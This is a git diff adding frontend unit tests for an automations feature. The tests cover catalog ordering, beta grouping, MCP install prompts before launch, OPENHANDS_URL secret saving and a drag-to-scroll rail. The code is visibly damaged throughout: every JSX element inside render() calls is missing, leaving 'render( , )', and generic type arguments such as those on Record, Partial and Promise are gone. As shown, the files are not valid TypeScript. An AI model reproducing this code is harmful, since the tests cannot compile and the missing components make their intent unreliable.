+
+ it("ends the drag once the primary button is no longer held", () => {
+ render(
+ ,
+ );
+ const scroller = screen.getByTestId(
+ "recommended-automations-rail-scroll",
+ );
+ mockScrollMetrics(scroller, {
+ scrollWidth: 900,
+ clientWidth: 320,
+ scrollLeft: 100,
+ });
+
+ fireEvent.mouseDown(scroller, { button: 0, clientX: 300 });
+ fireEvent.mouseMove(document, { clientX: 250, buttons: 1 });
+ fireEvent.mouseMove(document, { clientX: 200, buttons: 0 });
+ fireEvent.mouseMove(document, { clientX: 100, buttons: 1 });
+
+ expect(scroller.scrollLeft).toBe(150);
+ });
+ });
+});
diff --git a/__tests__/components/automations/recommended-automations.test.tsx b/__tests__/components/automations/recommended-automations.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5a40b24af2c74f7a917686983bf039d8f9c134f8
--- /dev/null
+++ b/__tests__/components/automations/recommended-automations.test.tsx
@@ -0,0 +1,1014 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+ act,
+ fireEvent,
+ render,
+ screen,
+ waitFor,
+ within,
+} from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import { SecretsService } from "#/api/secrets-service";
+import { I18nKey } from "#/i18n/declaration";
+import { getConversationState } from "#/utils/conversation-local-storage";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import type { Backend } from "#/api/backend-registry/types";
+import AutomationService from "#/api/automation-service/automation-service.api";
+import { RecommendedAutomationsLauncher } from "#/components/features/automations/recommended-automations-launcher";
+import {
+ RecommendedAutomationsSection,
+ getAutomationsByPopularity,
+} from "#/components/features/automations/recommended-automations-section";
+import {
+ AUTOMATION_CATALOG,
+ type RecommendedAutomation,
+} from "@openhands/extensions/automations";
+
+const {
+ mockCreateConversationMutate,
+ mockCreateSecret,
+ mockDisplayErrorToast,
+ mockUseSettings,
+} = vi.hoisted(() => ({
+ mockCreateConversationMutate: vi.fn(),
+ mockCreateSecret: vi.fn(),
+ mockDisplayErrorToast: vi.fn(),
+ mockUseSettings: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string, vars?: Record) => {
+ if (vars?.name) return `${key}:${String(vars.name)}`;
+ if (vars?.count != null) return `${key}:${String(vars.count)}`;
+ return key;
+ },
+ }),
+}));
+
+vi.mock("#/hooks/mutation/use-create-conversation", () => ({
+ useCreateConversation: () => ({
+ mutate: mockCreateConversationMutate,
+ isPending: false,
+ }),
+}));
+
+vi.mock("#/hooks/mutation/use-create-secret", () => ({
+ useCreateSecret: () => ({ mutateAsync: mockCreateSecret }),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => mockUseSettings(),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", async (importOriginal) => ({
+ ...(await importOriginal()),
+ displayErrorToast: mockDisplayErrorToast,
+}));
+
+const localBackend: Backend = {
+ id: "local-backend",
+ name: "Local",
+ host: "http://localhost:8000",
+ apiKey: "",
+ kind: "local",
+};
+
+const GITHUB_HOSTED_MCP_URL = "https://api.githubcopilot.com/mcp/";
+
+const cloudBackend: Backend = {
+ id: "cloud-backend",
+ name: "Cloud",
+ host: "https://staging.all-hands.dev/",
+ apiKey: "cloud-token",
+ kind: "cloud",
+};
+
+const mockNavigate = vi.fn();
+
+const navigationValue: NavigationContextValue = {
+ currentPath: "/automations",
+ conversationId: null,
+ isNavigating: false,
+ navigate: mockNavigate,
+};
+
+function renderLauncher({
+ withBackendProvider = false,
+ variant = "catalog",
+}: {
+ withBackendProvider?: boolean;
+ variant?: "catalog" | "rail";
+} = {}) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+ });
+
+ const launcher = (
+
+
+
+ );
+
+ return {
+ ...render(
+
+ {withBackendProvider ? (
+ {launcher}
+ ) : (
+ launcher
+ )}
+ ,
+ ),
+ queryClient,
+ };
+}
+
+function settingsWithMcpConfig(mcp_config: unknown) {
+ return {
+ agent_settings: {
+ mcp_config,
+ },
+ };
+}
+
+function settingsWithGithubMcp() {
+ return settingsWithMcpConfig({
+ github: {
+ url: GITHUB_HOSTED_MCP_URL,
+ auth: { strategy: "bearer", value: "github-token" },
+ },
+ });
+}
+
+function continueGithubResponderLocally() {
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ const continueButton = screen.getByTestId(
+ "responder-deployment-continue-local",
+ );
+ fireEvent.click(continueButton);
+ return continueButton;
+}
+
+describe("recommended automations", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([localBackend]);
+ setActiveSelection({ backendId: localBackend.id });
+ mockUseSettings.mockReturnValue({
+ data: settingsWithMcpConfig({}),
+ });
+ vi.spyOn(SecretsService, "getSecretsOrThrow").mockResolvedValue([]);
+ mockCreateSecret.mockResolvedValue(undefined);
+ // Pre-flight connectivity test must pass so save mutations are reached.
+ vi.spyOn(McpService, "testServer").mockResolvedValue({
+ ok: true,
+ tools: [],
+ });
+ });
+
+ afterEach(() => {
+ localStorage.clear();
+ __resetActiveStoreForTests();
+ });
+
+ it("renders the proven automations before the beta ones, each in popularity order", () => {
+ render(
+ ,
+ );
+
+ const cardIds = screen
+ .getAllByTestId(/^recommended-automation-card-/)
+ .map((card) =>
+ card
+ .getAttribute("data-testid")
+ ?.replace("recommended-automation-card-", ""),
+ );
+
+ expect(cardIds).toEqual([
+ "github-pr-reviewer",
+ "custom-automation",
+ "github-issue-to-pr",
+ "slack-channel-monitor",
+ "github-agents-md-maintainer",
+ "news-digest",
+ "github-repo-monitor",
+ "slack-standup-digest",
+ "linear-triage-assistant",
+ "linear-issue-to-github-pr",
+ "linear-issue-to-gitlab-mr",
+ "linear-issue-to-bitbucket-pr",
+ "jira-issue-to-pr",
+ "qa-changes",
+ "jira-issue-to-gitlab-mr",
+ "research-brief-writer",
+ "jira-issue-to-bitbucket-pr",
+ "upstream-fork-sync",
+ "incident-retrospective-drafter",
+ ]);
+ });
+
+ it("groups the non-proven automations under a labeled Beta section", () => {
+ render(
+ ,
+ );
+
+ const provenHeading = screen.getByText(
+ I18nKey.RECOMMENDED_AUTOMATIONS$SECTION_TITLE,
+ ).parentElement!;
+ expect(within(provenHeading).getByText("6")).toBeInTheDocument();
+
+ const betaHeading = screen.getByTestId(
+ "recommended-automations-beta-heading",
+ );
+ expect(betaHeading).toHaveTextContent(
+ I18nKey.RECOMMENDED_AUTOMATIONS$BETA_LABEL,
+ );
+ expect(within(betaHeading).getByText("13")).toBeInTheDocument();
+
+ const betaSection = screen.getByTestId(
+ "recommended-automations-beta-section",
+ );
+ expect(
+ within(betaSection).getByTestId(
+ "recommended-automation-card-slack-standup-digest",
+ ),
+ ).toBeInTheDocument();
+ expect(
+ within(betaSection).queryByTestId(
+ "recommended-automation-card-github-pr-reviewer",
+ ),
+ ).not.toBeInTheDocument();
+ });
+
+ it("sorts recommendation popularity deterministically when ranks are missing or tied", () => {
+ const makeAutomation = (
+ id: string,
+ popularityRank?: number,
+ ): RecommendedAutomation =>
+ ({
+ ...AUTOMATION_CATALOG[0],
+ id,
+ popularityRank,
+ }) as RecommendedAutomation;
+
+ expect(
+ getAutomationsByPopularity([
+ makeAutomation("missing-first"),
+ makeAutomation("tie-a", 10),
+ makeAutomation("top", 20),
+ makeAutomation("tie-b", 10),
+ makeAutomation("missing-second"),
+ ]).map((automation) => automation.id),
+ ).toEqual(["top", "tie-a", "tie-b", "missing-first", "missing-second"]);
+ });
+
+ it("filters recommendations by required MCP keywords", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("recommended-automation-card-slack-standup-digest"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("recommended-automation-card-github-pr-reviewer"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows a left-aligned MCP icon stack on each card", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("recommended-automation-icon-github-pr-reviewer"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("recommended-automation-icon-research-brief-writer"),
+ ).toHaveAttribute("data-layout", "overlap");
+ expect(
+ screen.getByTestId(
+ "recommended-automation-icon-incident-retrospective-drafter",
+ ),
+ ).toHaveAttribute("data-layout", "quadrants");
+ });
+
+ it("shows the declared glyph instead of a logo stack when an entry names one", () => {
+ render(
+ ,
+ );
+
+ // `news-digest` connects to nothing, so there are no logos to stack; it
+ // names its own glyph, and the badge must render that rather than the
+ // generic placeholder a bare empty stack would give.
+ const badge = screen.getByTestId("recommended-automation-icon-news-digest");
+ expect(badge).not.toHaveAttribute("data-layout");
+ expect(badge.querySelector("svg")).toBeInTheDocument();
+ expect(badge.querySelector("img")).not.toBeInTheDocument();
+ });
+
+ it("renders missing MCP connect copy as a pill on the same row", () => {
+ const offsetWidthDescriptor = Object.getOwnPropertyDescriptor(
+ HTMLElement.prototype,
+ "offsetWidth",
+ );
+ Object.defineProperty(HTMLElement.prototype, "offsetWidth", {
+ configurable: true,
+ get() {
+ return 120;
+ },
+ });
+ Object.defineProperty(HTMLElement.prototype, "clientWidth", {
+ configurable: true,
+ get() {
+ return 2000;
+ },
+ });
+ vi.stubGlobal(
+ "ResizeObserver",
+ class {
+ observe() {}
+
+ unobserve() {}
+
+ disconnect() {}
+ },
+ );
+
+ try {
+ render(
+ ,
+ );
+
+ const pillRow = screen.getByTestId(
+ "recommended-automation-pills-research-brief-writer",
+ );
+ expect(pillRow).toHaveTextContent(
+ "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:2",
+ );
+ expect(pillRow).toHaveClass("flex-nowrap");
+ expect(pillRow).not.toHaveClass("flex-wrap");
+ } finally {
+ if (offsetWidthDescriptor) {
+ Object.defineProperty(
+ HTMLElement.prototype,
+ "offsetWidth",
+ offsetWidthDescriptor,
+ );
+ } else {
+ Reflect.deleteProperty(HTMLElement.prototype, "offsetWidth");
+ }
+ Reflect.deleteProperty(HTMLElement.prototype, "clientWidth");
+ vi.unstubAllGlobals();
+ }
+ });
+
+ /**
+ * Puts a non-MCP-installable requirement back on `jira-issue-to-pr`.
+ *
+ * It declared the HTTP-only `jira` until @openhands/extensions 0.17.0 swapped it
+ * for the MCP `atlassian-rovo`, and no catalog automation declares a non-MCP
+ * integration any more. The cases below are about what a card does with one, so
+ * the requirement is restored for their duration rather than the assertions
+ * rewritten around a property the catalog stopped having. Mirrors the
+ * mutate-and-restore already used for the unknown-ID case.
+ *
+ * @returns the restore function, which the caller must run in a `finally`.
+ */
+ function requireNonMcpIntegration(): () => void {
+ const automation = AUTOMATION_CATALOG.find(
+ (item) => item.id === "jira-issue-to-pr",
+ )!;
+ const mutable = automation as RecommendedAutomation & {
+ requires: { integrations: Record };
+ };
+ const original = mutable.requires.integrations;
+ const { "atlassian-rovo": rovo, ...rest } = original;
+ // Keyed first, so the pill order and the install queue start where they did.
+ mutable.requires.integrations = {
+ jira: {
+ message: rovo?.message ?? "Reads the project for issues.",
+ },
+ ...rest,
+ };
+ return () => {
+ mutable.requires.integrations = original;
+ };
+ }
+
+ it("keeps a non-MCP-installable integration visible on its card instead of dropping it", () => {
+ const restoreRequirement = requireNonMcpIntegration();
+ // SkillCardPillRow folds pills behind "+N more" when it measures zero
+ // widths in jsdom; give it room so every pill renders.
+ const offsetWidthDescriptor = Object.getOwnPropertyDescriptor(
+ HTMLElement.prototype,
+ "offsetWidth",
+ );
+ Object.defineProperty(HTMLElement.prototype, "offsetWidth", {
+ configurable: true,
+ get() {
+ return 120;
+ },
+ });
+ Object.defineProperty(HTMLElement.prototype, "clientWidth", {
+ configurable: true,
+ get() {
+ return 2000;
+ },
+ });
+ vi.stubGlobal(
+ "ResizeObserver",
+ class {
+ observe() {}
+
+ unobserve() {}
+
+ disconnect() {}
+ },
+ );
+
+ try {
+ render(
+ ,
+ );
+
+ // jira-issue-to-pr declares jira (HTTP-only catalog entry) and github
+ // (MCP). Both belong on the card; jira is labeled as external setup.
+ const pillRow = screen.getByTestId(
+ "recommended-automation-pills-jira-issue-to-pr",
+ );
+ expect(pillRow).toHaveTextContent("Jira");
+ expect(pillRow).toHaveTextContent("GitHub");
+ expect(
+ within(pillRow).getByTestId("automation-integration-external-jira"),
+ ).toHaveTextContent("RECOMMENDED_AUTOMATIONS$EXTERNAL_SETUP");
+ expect(
+ within(pillRow).queryByTestId("automation-integration-external-github"),
+ ).not.toBeInTheDocument();
+
+ // The connect-before-launch count only covers what the install flow can
+ // actually connect, so jira does not inflate it.
+ expect(pillRow).toHaveTextContent(
+ "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:1",
+ );
+ } finally {
+ restoreRequirement();
+ if (offsetWidthDescriptor) {
+ Object.defineProperty(
+ HTMLElement.prototype,
+ "offsetWidth",
+ offsetWidthDescriptor,
+ );
+ } else {
+ Reflect.deleteProperty(HTMLElement.prototype, "offsetWidth");
+ }
+ Reflect.deleteProperty(HTMLElement.prototype, "clientWidth");
+ vi.unstubAllGlobals();
+ }
+ });
+
+ it("finds an automation by searching for its non-MCP-installable integration", () => {
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("recommended-automation-card-jira-issue-to-pr"),
+ ).toBeInTheDocument();
+ });
+
+ it("does not silently hide an unknown required integration ID", () => {
+ const automation = AUTOMATION_CATALOG.find(
+ (item) => item.id === "jira-issue-to-pr",
+ )!;
+ const mutableAutomation = automation as RecommendedAutomation & {
+ requires: {
+ integrations: Record<
+ string,
+ { required?: false; setupRequired?: boolean }
+ >;
+ };
+ };
+ const originalIntegrations = mutableAutomation.requires.integrations;
+ mutableAutomation.requires.integrations = {
+ ...originalIntegrations,
+ "unknown-integration": {},
+ };
+
+ try {
+ render(
+ ,
+ );
+
+ // The current implementation drops unknown IDs while resolving the
+ // catalog, so this assertion intentionally fails until they are surfaced.
+ expect(
+ screen.getByTestId(
+ "recommended-automation-integration-unknown-integration",
+ ),
+ ).toBeInTheDocument();
+ } finally {
+ mutableAutomation.requires.integrations = originalIntegrations;
+ }
+ });
+
+ it("queues installs only for MCP-installable required integrations", async () => {
+ const restoreRequirement = requireNonMcpIntegration();
+
+ try {
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-jira-issue-to-pr"),
+ );
+
+ // jira cannot go through the local MCP install flow, so the queue starts
+ // directly at github rather than failing or skipping the automation.
+ const modal = await screen.findByTestId("mcp-install-modal");
+ expect(modal).toHaveAttribute("data-marketplace-id", "github");
+ expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+ } finally {
+ restoreRequirement();
+ }
+ });
+
+ it("shows a decorative plus badge on each card without toggle behavior", () => {
+ render(
+ ,
+ );
+
+ const plusBadge = screen.getByTestId(
+ "recommended-automation-plus-github-pr-reviewer",
+ );
+ expect(plusBadge.tagName).toBe("SPAN");
+ expect(plusBadge).toHaveAttribute("aria-hidden", "true");
+ expect(plusBadge.className).toContain(
+ "hover:bg-[var(--oh-interactive-hover)]",
+ );
+ expect(plusBadge.querySelector('[role="switch"]')).not.toBeInTheDocument();
+ });
+
+ it("selects a recommendation directly from its card", () => {
+ const automation = AUTOMATION_CATALOG.find(
+ (item) => item.id === "github-pr-reviewer",
+ )!;
+ const onSelect = vi.fn();
+
+ render(
+ ,
+ );
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ expect(onSelect).toHaveBeenCalledWith(automation);
+ });
+
+ it("opens the MCP install modal instead of launching when the required MCP is missing", async () => {
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+
+ const modal = await screen.findByTestId("mcp-install-modal");
+ expect(modal).toHaveAttribute("data-marketplace-id", "github");
+ expect(screen.getByTestId("mcp-install-field-url")).toHaveValue(
+ GITHUB_HOSTED_MCP_URL,
+ );
+ expect(screen.getByTestId("mcp-install-field-api_key")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("mcp-install-field-command-readonly"),
+ ).toBeNull();
+ expect(
+ screen.queryByTestId("mcp-install-field-GITHUB_PERSONAL_ACCESS_TOKEN"),
+ ).toBeNull();
+ expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+ });
+
+ it("saves OPENHANDS_URL before opening a responder setup form", async () => {
+ mockUseSettings.mockReturnValue({
+ data: settingsWithGithubMcp(),
+ });
+
+ renderLauncher();
+ continueGithubResponderLocally();
+
+ await waitFor(() =>
+ expect(mockCreateSecret).toHaveBeenCalledWith({
+ name: "OPENHANDS_URL",
+ value: window.location.origin,
+ }),
+ );
+ expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+ });
+
+ it("preserves an existing OPENHANDS_URL when starting a local responder", async () => {
+ mockUseSettings.mockReturnValue({
+ data: settingsWithGithubMcp(),
+ });
+ vi.mocked(SecretsService.getSecretsOrThrow).mockResolvedValue([
+ { name: "OPENHANDS_URL" },
+ ]);
+
+ renderLauncher();
+
+ continueGithubResponderLocally();
+
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith(
+ "/automations/new/github-pr-reviewer",
+ ),
+ );
+ expect(mockCreateSecret).not.toHaveBeenCalled();
+ });
+
+ it("uses fresh secrets instead of a cached OPENHANDS_URL", async () => {
+ mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+ const { queryClient } = renderLauncher();
+ queryClient.setQueryData(
+ ["secrets", localBackend.id, null],
+ [{ name: "OPENHANDS_URL" }],
+ );
+
+ continueGithubResponderLocally();
+
+ await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+ expect(SecretsService.getSecretsOrThrow).toHaveBeenCalledTimes(1);
+ });
+
+ it("matches the OPENHANDS_URL secret name exactly", async () => {
+ mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+ vi.mocked(SecretsService.getSecretsOrThrow).mockResolvedValue([
+ { name: "OPENHANDS_URL_BACKUP" },
+ ]);
+
+ renderLauncher();
+ continueGithubResponderLocally();
+
+ await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+ });
+
+ it("waits for the secret save and invalidates the cache before continuing", async () => {
+ mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+ let resolveSave: (() => void) | undefined;
+ mockCreateSecret.mockReturnValue(
+ new Promise((resolve) => {
+ resolveSave = resolve;
+ }),
+ );
+ const { queryClient } = renderLauncher();
+ const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+ const continueButton = continueGithubResponderLocally();
+
+ await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+ expect(continueButton).toBeDisabled();
+ expect(mockNavigate).not.toHaveBeenCalled();
+
+ await act(async () => resolveSave?.());
+
+ await waitFor(() => expect(mockNavigate).toHaveBeenCalledTimes(1));
+ expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: ["secrets"] });
+ expect(invalidateSpy.mock.invocationCallOrder[0]).toBeLessThan(
+ mockNavigate.mock.invocationCallOrder[0],
+ );
+ });
+
+ it("keeps the responder modal open when the fresh secret read fails", async () => {
+ mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+ vi.mocked(SecretsService.getSecretsOrThrow).mockRejectedValue(
+ new Error("secret read failed"),
+ );
+
+ renderLauncher();
+ continueGithubResponderLocally();
+
+ await waitFor(() =>
+ expect(mockDisplayErrorToast).toHaveBeenCalledWith("secret read failed"),
+ );
+ expect(
+ screen.getByTestId("responder-deployment-modal"),
+ ).toBeInTheDocument();
+ expect(mockCreateSecret).not.toHaveBeenCalled();
+ expect(mockNavigate).not.toHaveBeenCalled();
+ });
+
+ it("blocks duplicate local continues while secrets are loading", async () => {
+ mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+ vi.mocked(SecretsService.getSecretsOrThrow).mockReturnValue(
+ new Promise(() => {}),
+ );
+
+ renderLauncher();
+ const continueButton = continueGithubResponderLocally();
+ fireEvent.click(continueButton);
+
+ await waitFor(() =>
+ expect(SecretsService.getSecretsOrThrow).toHaveBeenCalledTimes(1),
+ );
+ expect(continueButton).toBeDisabled();
+ expect(
+ screen.getByTestId("responder-deployment-modal-close"),
+ ).toBeDisabled();
+ expect(
+ screen.getByTestId("responder-deployment-open-openhands-cloud"),
+ ).toBeDisabled();
+ expect(mockCreateSecret).not.toHaveBeenCalled();
+ expect(mockNavigate).not.toHaveBeenCalled();
+ });
+
+ it("does not continue or close the modal when the secret save fails", async () => {
+ mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+ mockCreateSecret.mockRejectedValue(new Error("secret save failed"));
+
+ renderLauncher();
+ continueGithubResponderLocally();
+
+ await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+ await waitFor(() =>
+ expect(
+ screen.getByTestId("responder-deployment-continue-local"),
+ ).not.toBeDisabled(),
+ );
+ expect(
+ screen.getByTestId("responder-deployment-modal"),
+ ).toBeInTheDocument();
+ expect(mockNavigate).not.toHaveBeenCalled();
+ });
+
+ it("launches an automation that ships no setup form with its slash command", () => {
+ // Arrange
+ mockUseSettings.mockReturnValue({
+ data: settingsWithMcpConfig({
+ linear: { url: "https://mcp.linear.app/mcp" },
+ }),
+ });
+
+ renderLauncher();
+
+ // Act
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-linear-triage-assistant"),
+ );
+
+ // Assert
+ expect(mockCreateConversationMutate).toHaveBeenCalledTimes(1);
+ const [, options] = mockCreateConversationMutate.mock.calls[0];
+ options.onSuccess({ conversation_id: "conversation-1" });
+
+ const draft = getConversationState("conversation-1").draftMessage;
+ expect(draft).toBe("/linear-triage:setup");
+ });
+
+ it("launches without waiting for an integration the automation can start without", () => {
+ // Arrange — Slack and Linear are connected; Notion, which the entry marks
+ // as connectable later, is not.
+ mockUseSettings.mockReturnValue({
+ data: settingsWithMcpConfig({
+ slack: { url: "https://mcp.slack.com/mcp" },
+ linear: { url: "https://mcp.linear.app/mcp" },
+ }),
+ });
+
+ renderLauncher();
+
+ // Act
+ fireEvent.click(
+ screen.getByTestId(
+ "recommended-automation-card-incident-retrospective-drafter",
+ ),
+ );
+
+ // Assert — nothing stands between the click and the launch.
+ expect(screen.queryByTestId("mcp-install-modal")).not.toBeInTheDocument();
+ expect(mockNavigate).toHaveBeenCalledTimes(1);
+ });
+
+ it("prompts to install when the required MCP server is disabled", async () => {
+ // A disabled server is withheld from the agent, so treating it as
+ // installed would launch an automation that then fails at runtime.
+ mockUseSettings.mockReturnValue({
+ data: settingsWithMcpConfig({
+ github: {
+ url: GITHUB_HOSTED_MCP_URL,
+ auth: { strategy: "bearer", value: "github-token" },
+ enabled: false,
+ },
+ }),
+ });
+
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+
+ await screen.findByTestId("mcp-install-modal");
+ expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+ });
+
+ it("ignores repeated launches once a responder deployment choice is in flight", async () => {
+ mockUseSettings.mockReturnValue({
+ data: settingsWithGithubMcp(),
+ });
+
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+ // The launch is now in flight; re-selecting the card must not launch again.
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+
+ await waitFor(() => expect(mockNavigate).toHaveBeenCalledTimes(1));
+ });
+
+ it("hides the recommended automations section on cloud backends", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+
+ renderLauncher({ withBackendProvider: true });
+
+ expect(
+ screen.queryByTestId("recommended-automations-section"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the compact rail instead of the catalog section", async () => {
+ // Earlier cases call `vi.unstubAllGlobals()`, which also removes the
+ // setup file's ResizeObserver stub the rail's fade tracking needs.
+ vi.stubGlobal(
+ "ResizeObserver",
+ class {
+ observe() {}
+
+ unobserve() {}
+
+ disconnect() {}
+ },
+ );
+ vi.spyOn(AutomationService, "getAutomations").mockResolvedValue({
+ automations: [
+ {
+ id: "installed-1",
+ name: "GitHub code review",
+ trigger: { type: "cron", schedule: "0 9 * * *" },
+ enabled: true,
+ prompt: "Review PRs",
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ },
+ ],
+ total: 1,
+ });
+
+ renderLauncher({ variant: "rail" });
+
+ expect(
+ await screen.findByTestId("recommended-automations-rail"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("recommended-automations-section"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId(
+ "recommended-automation-rail-card-github-pr-reviewer",
+ ),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId(
+ "recommended-automation-rail-card-slack-standup-digest",
+ ),
+ ).toBeInTheDocument();
+ });
+
+ it("launches the recommendation after the missing MCP is installed", async () => {
+ const createSpy = vi
+ .spyOn(SettingsService, "createMcpServer")
+ .mockResolvedValue(true);
+
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+ await screen.findByTestId("mcp-install-modal");
+
+ fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), {
+ target: { value: "github-token" },
+ });
+ fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+ await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+ await waitFor(() =>
+ expect(mockNavigate).toHaveBeenCalledWith(
+ "/automations/new/github-pr-reviewer",
+ ),
+ );
+ });
+
+ it("opens the OpenHands Cloud integrations page without launching when the cloud option is chosen", () => {
+ const openSpy = vi.spyOn(window, "open").mockReturnValue(null);
+
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+ );
+ fireEvent.click(
+ screen.getByTestId("responder-deployment-open-openhands-cloud"),
+ );
+
+ expect(openSpy).toHaveBeenCalledWith(
+ "https://app.all-hands.dev/settings/integrations",
+ "_blank",
+ "noopener,noreferrer",
+ );
+ expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+ expect(mockCreateSecret).not.toHaveBeenCalled();
+
+ openSpy.mockRestore();
+ });
+
+ it("does not show the deployment choice modal for non-responder automations", () => {
+ renderLauncher();
+
+ fireEvent.click(
+ screen.getByTestId("recommended-automation-card-linear-triage-assistant"),
+ );
+
+ expect(
+ screen.queryByTestId("responder-deployment-modal"),
+ ).not.toBeInTheDocument();
+ expect(mockCreateSecret).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/automations/search-input.test.tsx b/__tests__/components/automations/search-input.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..adc66227b28399a4f4d93b5f4c5436d5f54a30cd
--- /dev/null
+++ b/__tests__/components/automations/search-input.test.tsx
@@ -0,0 +1,24 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { vi, describe, it, expect } from "vitest";
+import { SearchInput } from "#/components/features/automations/search-input";
+
+describe("SearchInput", () => {
+ it("calls onChange when user types", async () => {
+ const onChange = vi.fn();
+ const user = userEvent.setup();
+ render( );
+
+ const input = screen.getByRole("textbox");
+ await user.type(input, "test");
+
+ expect(onChange).toHaveBeenCalled();
+ expect(onChange).toHaveBeenLastCalledWith("t");
+ });
+
+ it("displays the current value", () => {
+ render( );
+
+ expect(screen.getByRole("textbox")).toHaveValue("security");
+ });
+});
diff --git a/__tests__/components/automations/to-latest-run-state.test.ts b/__tests__/components/automations/to-latest-run-state.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..bf72e90fab42b96dc2c8a01b82d6f92eba77a0be
--- /dev/null
+++ b/__tests__/components/automations/to-latest-run-state.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { toRunSummaryState } from "#/components/features/automations/to-latest-run-state";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+
+function createRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: null,
+ bash_command_id: null,
+ error_detail: null,
+ started_at: "2026-01-02T00:00:00Z",
+ completed_at: "2026-01-02T00:03:00Z",
+ ...overrides,
+ };
+}
+
+describe("toRunSummaryState", () => {
+ it("summarizes recent runs for the dashboard stats footer", () => {
+ const completed = createRun();
+ const failed = createRun({
+ id: "run-2",
+ status: AutomationRunStatus.FAILED,
+ started_at: "2026-01-02T00:10:00Z",
+ completed_at: "2026-01-02T00:12:00Z",
+ });
+
+ const state = toRunSummaryState({
+ latestRun: completed,
+ recentRuns: [completed, failed],
+ total: 8,
+ isLoading: false,
+ isError: false,
+ });
+
+ expect(state.summary?.total).toBe(8);
+ expect(state.summary?.recentSuccessRate).toBe(0.5);
+ expect(state.summary?.averageDurationMs).toBe(150_000);
+ });
+
+ it("keeps an empty loading state from showing fake totals", () => {
+ const state = toRunSummaryState({
+ latestRun: null,
+ recentRuns: [],
+ isLoading: true,
+ isError: false,
+ });
+
+ expect(state.summary).toBeNull();
